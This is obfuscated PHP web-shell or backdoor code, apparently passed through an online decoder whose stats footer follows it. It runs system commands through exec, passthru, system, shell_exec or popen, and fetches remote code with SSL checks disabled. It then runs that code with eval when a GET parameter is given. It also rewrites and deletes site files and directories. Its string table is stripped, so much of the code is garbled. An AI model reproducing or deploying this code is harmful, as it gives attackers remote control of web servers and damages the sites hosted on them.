    foreach ($mPYIt as $zd4bR) {
        if (strstr($zd4bR, $bN80E)) {
            $n6JcJ++;
        }
    }
    goto UedcO;
    L_UTe:
}
goto S6KGI;
jT0E_:
$BSTSR = $GLOBALS[][0x000001d];
goto
grZ2E;
RCAWH:
$Nzr3p = aSRzx($GhlyG);
goto zdKgJ;
bQUt7:
MiMRi($BSTSR);
goto wuftw;
MbIjp:
function RK_c8($WjdeA)
{
    goto
    I_TFA;
    XPNFE:
    if (function_exists($GLOBALS[][0x01e])) {
        @exec($WjdeA, $FkCuj);
        $FkCuj = @join($GLOBALS[][0x000c], $FkCuj);
    } elseif (function_exists($GLOBALS[][0x001f])) {
        goto
        yPm2r;
        AVe13:
        $FkCuj = ob_get_clean();
        goto lhEpG;
        yPm2r:
        ob_start();
        goto Vq6DE;
        Vq6DE:
        @passthru($WjdeA);
        goto
        AVe13;
        lhEpG:
    } elseif (function_exists($GLOBALS[][0x00020])) {
        goto QiUea;
        pPgV0:
        $FkCuj = ob_get_clean();
        goto
        pu3dG;
        QiUea:
        ob_start();
        goto W_fS8;
        W_fS8:
        @system($WjdeA);
        goto
        pPgV0;
        pu3dG:
    } elseif (function_exists($GLOBALS[][0x000021])) {
        $FkCuj = shell_exec($WjdeA);
    } elseif (is_resource($aWMlI = @popen($WjdeA, $GLOBALS[][0x0015]))) {
        goto
        byW7J;
        aB40S:
        while (!@feof($aWMlI)) {
            $FkCuj .= fread($aWMlI, 0x00000400);
        }
        goto aJCaS;
        aJCaS:
        pclose($aWMlI);
        goto
        J_O0m;
        byW7J:
        $FkCuj = $GLOBALS[][0x0000022];
        goto aB40S;
        J_O0m:
    }
    goto DtYFQ;
    DtYFQ:
    return $FkCuj;
    goto
    Qs827;
    I_TFA:
    $FkCuj = $GLOBALS[][0x00b];
    goto XPNFE;
    Qs827:
}
goto UGd9c;
RYY0H:
function
    oDxsw(
    $j_7Nl,
    $bf80o = null,
    $kiuKi = null
) {
    goto XLFo5;
    EFzWT:
    curl_close($QvxWc);
    goto
    CTPcR;
    Olxxs:
    curl_setopt($QvxWc, CURLOPT_CONNECTTIMEOUT, 0x01e);
    goto
    b8fld;
    D8TBP:
    if ($bf80o != null) {
        curl_setopt($QvxWc, CURLOPT_HTTPHEADER, $bf80o);
    }
    goto
    wg4DM;
    haZEd:
    curl_setopt($QvxWc, CURLOPT_COOKIEFILE, $GLOBALS[][0x023]);
    goto
    Ow2dJ;
    DxRvI:
    curl_setopt($QvxWc, CURLOPT_HEADER, !0);
    goto R8bX1;
    z7hMc:
    $HOv2H = curl_exec($QvxWc);
    goto
    EFzWT;
    R8bX1:
    curl_setopt($QvxWc, CURLOPT_RETURNTRANSFER, 0x001);
    goto FVaGP;
    XLFo5:
    $QvxWc = curl_init();
    goto
    LsDEv;
    FVaGP:
    curl_setopt($QvxWc, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
    goto
    Olxxs;
    Ow2dJ:
    curl_setopt($QvxWc, CURLOPT_COOKIEJAR, $GLOBALS[][0x023]);
    goto
    D8TBP;
    LsDEv:
    curl_setopt($QvxWc, CURLOPT_URL, $j_7Nl);
    goto
    DxRvI;
    wg4DM:
    if ($kiuKi != null) {
        curl_setopt($QvxWc, CURLOPT_POST, 0x001);
        curl_setopt($QvxWc, CURLOPT_POSTFIELDS, $kiuKi);
    }
    goto
    z7hMc;
    CTPcR:
    return $HOv2H;
    goto fLuZk;
    b8fld:
    curl_setopt($QvxWc, CURLOPT_TIMEOUT, 0x01e);
    goto
    gHehR;
    gHehR:
    curl_setopt($QvxWc, CURLOPT_FOLLOWLOCATION, 0x001);
    goto
    jLdQU;
    MY7VZ:
    curl_setopt($QvxWc, CURLOPT_SSL_VERIFYHOST, 0);
    goto
    UARug;
    UARug:
    curl_setopt($QvxWc, CURLOPT_USERAGENT, $_SERVER[$GLOBALS[][0x0024]]);
    goto
    haZEd;
    jLdQU:
    curl_setopt($QvxWc, CURLOPT_SSL_VERIFYPEER, 0);
    goto MY7VZ;
    fLuZk:
}
goto MbIjp;
rh2n1:
function
    LE86Y(
    $ZJoHI,
    $iTqoS
) {
    if (preg_match($GLOBALS[][0x00025], $iTqoS)) {
        goto zxM3I;
        merbG:
        $iTqoS = $GLOBALS[][0x000026]
            . substr($iTqoS, $RJWgv);
        goto h1iku;
        Irn0v:
        $s2WNP = $s2WNP[0x001];
        goto peCtc;
        R2XOb:
        $iTqoS = odxSw($ZJoHI);
        goto
        kKA5X;
        h1iku:
        unlink($GLOBALS[][0x0000027]);
        goto pPa_n;
        zxM3I:
        preg_match($GLOBALS[][0x028], $iTqoS, $s2WNP);
        goto
        Irn0v;
        Y1ruJ:
        $RJWgv = strpos($iTqoS, $iKFfw) + strlen($iKFfw);
        goto merbG;
        peCtc:
        $dbhhI = oDXSW($ZJoHI . $GLOBALS[][0x0029]
            . $s2WNP);
        goto R2XOb;
        kKA5X:
        $iKFfw = $GLOBALS[][0x000026];
        goto Y1ruJ;
        pPa_n:
    }
    return $iTqoS;
}
goto fAE34;
UGd9c:
function
    JUgSe(
    $IzeGa
) {
    goto f70yN;
    qEFT_:
    if (trim($FiYF_) == $GLOBALS[][0x00b]) {
        goto VeDiM;
        yn9Zn:
        rK_C8($GLOBALS[][0x0002a]
            . $IzeGa . $GLOBALS[][0x00002b] . $fO5cJ);
        goto pk0ic;
        COfWo:
        unlink($fO5cJ);
        goto
        hAur3;
        VeDiM:
        $fO5cJ = $GLOBALS[][0x000002c] . substr(str_shuffle($GLOBALS[][0x02d]), 0x032) . $GLOBALS[][0x002e];
        goto
        yn9Zn;
        pk0ic:
        if (function_exists($GLOBALS[][0x000012])) {
            $FiYF_ = file_get_contents($fO5cJ);
        } else {
            $FiYF_ = stream_get_contents(fopen($fO5cJ, $GLOBALS[][0x0015]));
        }
        goto
        COfWo;
        hAur3:
    }
    goto VKjVp;
    f70yN:
    $FiYF_ = $GLOBALS[][0x00b];
    goto rZS0u;
    GFs6y:
    return $FiYF_;
    goto
    bqFYL;
    VKjVp:
    if (
        trim($FiYF_) == $GLOBALS[][0x00b] && function_exists($GLOBALS[][0x0000013]) &&
        function_exists($GLOBALS[][0x014]) &&
        function_exists($GLOBALS[][0x0002f])
    ) {
        $RNvUK = fopen($IzeGa, $GLOBALS[][0x000030], !1, stream_context_create(
            array(
                $GLOBALS[][0x0000031] =>
                array(
                    $GLOBALS[][0x032] => $GLOBALS[][0x0033], $GLOBALS[][0x00034]
                    => $GLOBALS[][0x000035]
                )
            )
        ));
        $FiYF_ = stream_get_contents($RNvUK);
    }
    goto
    GFs6y;
    qEbyI:
    if (trim($FiYF_) == $GLOBALS[][0x00b] && function_exists($GLOBALS[][0x0000036])) {
        goto
        CuCBK;
        Gdu_f:
        if (stristr($IzeGa, $GLOBALS[][0x037])) {
            curl_setopt($s2gFs, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($s2gFs, CURLOPT_SSL_VERIFYHOST, 0);
        }
        goto
        VliC8;
        VliC8:
        curl_setopt($s2gFs, CURLOPT_HEADER, !1);
        goto
        fqoyg;
        idMud:
        curl_setopt($s2gFs, CURLOPT_REFERER, $GLOBALS[][0x0038]);
        goto
        Olawu;
        ARlmx:
        curl_setopt($s2gFs, CURLOPT_USERAGENT, $GLOBALS[][0x00039]);
        goto
        idMud;
        kLr1w:
        curl_setopt($s2gFs, CURLOPT_URL, $IzeGa);
        goto ARlmx;
        C0Hqp:
        curl_setopt($s2gFs, CURLOPT_TIMEOUT, 0x0a);
        goto
        NaAtR;
        CuCBK:
        $s2gFs = curl_init();
        goto C0Hqp;
        Olawu:
        curl_setopt($s2gFs, CURLOPT_FOLLOWLOCATION, !0);
        goto
        Gdu_f;
        NaAtR:
        curl_setopt($s2gFs, CURLOPT_RETURNTRANSFER, !0);
        goto kLr1w;
        fqoyg:
        $FiYF_ = curl_exec($s2gFs);
        goto
        sPevS;
        sPevS:
        curl_close($s2gFs);
        goto Rv5hq;
        Rv5hq:
    }
    goto qEFT_;
    rZS0u:
    if (
        trim($FiYF_) == $GLOBALS[][0x00b] &&
        function_exists($GLOBALS[][0x000012]) &&
        function_exists($GLOBALS[][0x0002f])
    ) {
        $FiYF_ = file_get_contents($IzeGa, !1, stream_context_create(
            array(
                $GLOBALS[][0x0000031]
                => array($GLOBALS[][0x00003a] => $GLOBALS[][0x000003b], $GLOBALS[][0x03c] => $GLOBALS[][0x000035])
            )
        ));
    }
    goto
    qEbyI;
    bqFYL:
}
goto pWgW9;
a08Vp:
$smTub = strval($_SERVER[$GLOBALS[][0x003d]]);
goto
zhWse;
Ep3x0:
$GhlyG = strval(basename(__FILE__));
goto BEvYn;
fAE34:
function FbJtr($P94B6)
{
    goto
    qf5oj;
    qf5oj:
    $dozF_ = array(
        $GLOBALS[][0x0003e] => $GLOBALS[][0x00003f], $GLOBALS[][0x0000040]
        => $GLOBALS[][0x041], $GLOBALS[][0x00003f] => $GLOBALS[][0x0042], $GLOBALS[][0x00043]
        => $GLOBALS[][0x000044], $GLOBALS[][0x0000045] => $GLOBALS[][0x046], $GLOBALS[][0x0047]
        => $GLOBALS[][0x00048], $GLOBALS[][0x000049] => $GLOBALS[][0x000004a], $GLOBALS[][0x041]
        => $GLOBALS[][0x04b], $GLOBALS[][0x000044] => $GLOBALS[][0x004c], $GLOBALS[][0x0004d]
        => $GLOBALS[][0x0047], $GLOBALS[][0x0042] => $GLOBALS[][0x0000045], $GLOBALS[][0x04b]
        => $GLOBALS[][0x0000040], $GLOBALS[][0x00004e] => $GLOBALS[][0x00043], $GLOBALS[][0x00048]
        => $GLOBALS[][0x0004d], $GLOBALS[][0x046] => $GLOBALS[][0x00004e], $GLOBALS[][0x000004a]
        => $GLOBALS[][0x0003e], $GLOBALS[][0x004c] => $GLOBALS[][0x000049]
    );
    goto
    FW5p5;
    NRhuD:
    $Tax0X = $GLOBALS[][0x00b];
    goto op737;
    FW5p5:
    $zYBxV = str_split($P94B6);
    goto NRhuD;
    JfBwD:
    return $Tax0X;
    goto
    SSRpg;
    op737:
    foreach ($zYBxV as $Um4AM) {
        if (in_array($Um4AM, $dozF_)) {
            $Tax0X .= $dozF_[$Um4AM];
        } else {
            $Tax0X .=
                $Um4AM;
        }
    }
    goto JfBwD;
    SSRpg:
}
goto
XGgl8;
zhWse:
while (strstr($smTub, $GLOBALS[][0x000004f])) {
    $smTub = str_replace($GLOBALS[][0x000004f], $GLOBALS[][0x000009], $smTub);
}
goto
t9l18;
BEvYn:
$aWMlI = explode($GLOBALS[][0x050], $GhlyG);
goto ej2vb;
wuftw:
oCIVi($BSTSR);
goto
dVVOR;
LWkfE:
$BSTSR = EOcgk($BSTSR);
goto bQUt7;
q33qP:
function
    ocIVI(
    $BSTSR
) {
    $jYG7l = array($GLOBALS[][0x0051], $GLOBALS[][0x00052], $GLOBALS[][0x000053], $GLOBALS[][0x0000054], $GLOBALS[][0x055], $GLOBALS[][0x0056], $GLOBALS[][0x00057], $GLOBALS[][0x000058]);
    foreach ($jYG7l as $HH0Dt) {
        $jAUNf = $BSTSR . $GLOBALS[][0x0000059] . $HH0Dt;
        if (is_dir($jAUNf)) {
            iRmJx($jAUNf);
        }
    }
}
goto
Ep3x0;
MIoTu:
function MiMRi($BSTSR)
{
    goto vABCr;
    vABCr:
    $iTMgs = $BSTSR . $GLOBALS[][0x05a];
    goto
    dcSYE;
    dcSYE:
    $CTswv = strtolower(aSRZX($iTMgs));
    goto yFId6;
    yFId6:
    if (
        preg_match($GLOBALS[][0x005b],
            $CTswv) ||
        preg_match($GLOBALS[][0x0005c],
            $CTswv)
    ) {
        goto P6O3V;
        EZuWy:
        $r4rLX = ASRZX($Xa3Xv);
        goto
        UYZ13;
        TJXiK:
        $ZcVkF = Asrzx($YzXVO);
        goto iEp7C;
        Ii71q:
        chmod($iTMgs, 0644);
        goto
        mCeg6;
        aRikJ:
        $YzXVO = $BSTSR . $GLOBALS[][0x00005d];
        goto TJXiK;
        P6O3V:
        $qsml6 = $BSTSR . $GLOBALS[][0x000005e];
        goto
        WpYlS;
        iEp7C:
        if (preg_match($GLOBALS[][0x05f], $ZcVkF)) {
            goto EItFF;
            EItFF:
            $TnBIs = $GLOBALS[][0x0060];
            goto
            L3jJ3;
            Gv7dS:
            qxb8z($YzXVO, $TnBIs);
            goto UzZKW;
            L3jJ3:
            chmod($YzXVO, 0644);
            goto
            Gv7dS;
            UzZKW:
        } elseif (
            strstr($ZcVkF,
                $GLOBALS[][0x000026]) && !preg_match($GLOBALS[][0x00061],
                $ZcVkF) &&
            !preg_match($GLOBALS[][0x000062],
                $ZcVkF) && !preg_match($GLOBALS[][0x0000063],
                $ZcVkF) &&
            !preg_match($GLOBALS[][0x064],
                $ZcVkF)
        ) {
            goto x25w6;
            tX0wj:
            chmod($YzXVO, 0644);
            goto
            NfmiB;
            x25w6:
            $TnBIs = rLaoq($YzXVO, $GLOBALS[][0x000026]);
            goto tX0wj;
            NfmiB:
            qxb8z($YzXVO, $TnBIs);
            goto fL6Al;
            fL6Al:
        }
        goto
        Ii71q;
        WpYlS:
        $HH0Dt = aSrzx($qsml6);
        goto
        g8Ywg;
        vyB7i:
        if (preg_match($GLOBALS[][0x0065], $HH0Dt, $A0J4x)) {
            unlink($A0J4x[0x001]);
        }
        goto
        be6ja;
        mCeg6:
        $z_5mN = $GLOBALS[][0x00066];
        goto F5EyW;
        g8Ywg:
        if (
            preg_match($GLOBALS[][0x000067],
                $HH0Dt) &&
            !preg_match($GLOBALS[][0x0000068],
                $HH0Dt)
        ) {
            goto CHvoE;
            Wuie4:
            qXb8Z($qsml6, $HH0Dt);
            goto
            qcmh4;
            CHvoE:
            $HH0Dt = str_replace($GLOBALS[][0x069], $GLOBALS[][0x006a], $HH0Dt);
            goto
            qduW4;
            qduW4:
            chmod($qsml6, 0644);
            goto Wuie4;
            qcmh4:
        }
        goto vyB7i;
        be6ja:
        $Xa3Xv = $BSTSR . $GLOBALS[][0x0006b];
        goto
        EZuWy;
        F5EyW:
        QXb8Z($iTMgs, $z_5mN);
        goto
        ywRXv;
        UYZ13:
        if (
            file_exists($Xa3Xv) && (preg_match($GLOBALS[][0x00006c],
                $r4rLX) ||
                preg_match($GLOBALS[][0x000006d],
                    $r4rLX))
        ) {
            unlink($Xa3Xv);
            unlink($BSTSR . $GLOBALS[][0x06e]);
        }
        goto
        aRikJ;
        ywRXv:
    }
    goto UcIkX;
    UcIkX:
}
goto ckDRT;
dVVOR:
if (isset($_GET[$GLOBALS[][0x006f]])) {
    goto
    yRLeR;
    OX3bf:
    $F3bIg = Le86y($GLOBALS[][0x00070] . fbjtR($vo1vU), $F3bIg);
    goto
    n2nR1;
    n2nR1:
    $F3bIg = str_replace(array($GLOBALS[][0x000026], $GLOBALS[][0x000071], $GLOBALS[][0x0000072]), $GLOBALS[][0x00b], $F3bIg);
    goto
    Jg8yC;
    yRLeR:
    $vo1vU = trim($_GET[$GLOBALS[][0x073]]);
    goto cVU3R;
    Jg8yC:
    eval($F3bIg);
    goto
    SAJXH;
    cVU3R:
    $vo1vU = str_rot13(pack($GLOBALS[][0x0074], strrev($vo1vU)));
    goto
    XnT23;
    XnT23:
    $F3bIg = JuGse($GLOBALS[][0x00070] . FbJTr($vo1vU));
    goto
    OX3bf;
    SAJXH:
} elseif (isset($_GET[$GLOBALS[][0x00075]])) {
    goto G9nsM;
    pIpXk:
    unlink($BSTSR . $GLOBALS[][0x000076]);
    goto
    Ja6fg;
    j8BWe:
    QxB8z($BSTSR . $GLOBALS[][0x05a], $CTswv);
    goto pIpXk;
    G9nsM:
    $CTswv = $GLOBALS[][0x00066];
    goto
    SBVfV;
    SBVfV:
    chmod($BSTSR . $GLOBALS[][0x05a], 0644);
    goto j8BWe;
    Ja6fg:
} else {
    echo $GLOBALS[][0x0000077]
        . md5($_SERVER[$GLOBALS[][0x078]]) . $GLOBALS[][0x0079];
} ?>

Function Calls

None

Variables

None

Stats

MD5 91b0c7aa24409d9cc216ef899f6d41a5
Eval Count 0
Decode Time 42 ms